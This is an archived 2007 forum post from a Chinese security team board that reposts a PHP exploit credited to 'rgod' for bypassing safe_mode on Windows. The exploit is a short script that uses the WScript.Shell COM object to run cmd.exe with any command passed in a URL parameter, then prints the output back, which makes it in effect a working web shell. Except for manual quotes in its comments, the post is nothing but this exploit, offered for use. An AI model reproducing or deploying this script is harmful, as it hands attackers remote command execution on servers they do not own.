邪恶八进制信息安全团队技术讨论组's Archiver

pub!1c 2007-3-8 22:56

PHP COM extensions (inconsistent Win32) safe_mode Bypass Exploit

[code]
<?php
  //PHP COM extensions (inconsistent Win32) safe_mode bypass
  //by rgod

  $____suntzu = new COM("WScript.Shell");
  $____suntzu->Run(&#39;c:\windows\system32\cmd.exe /c &#39;.escapeshellarg($_GET[cmd]).&#39; > &#39;.dirname($_SERVER[SCRIPT_FILENAME]).&#39;/suntzoi.txt&#39;);
  $____suntzoi=file("suntzoi.txt");
  for ($i=0; $i<count($____suntzoi); $i++) {echo nl2br(htmlentities($____suntzoi[$i]));}

  // *quote* from the php manual:
  // There is no installation needed to use these functions; they are part of the PHP core.

  // The windows version of PHP has built in support for this extension. You do not need to load any additional extension in order to use these functions.

  // You are responsible for installing support for the various COM objects that you intend to use (such as MS Word);
  // we don&#39;t and can&#39;t bundle all of those with PHP.
?>
[/code]

页: [1]
© 1999-2008 EvilOctal Security Team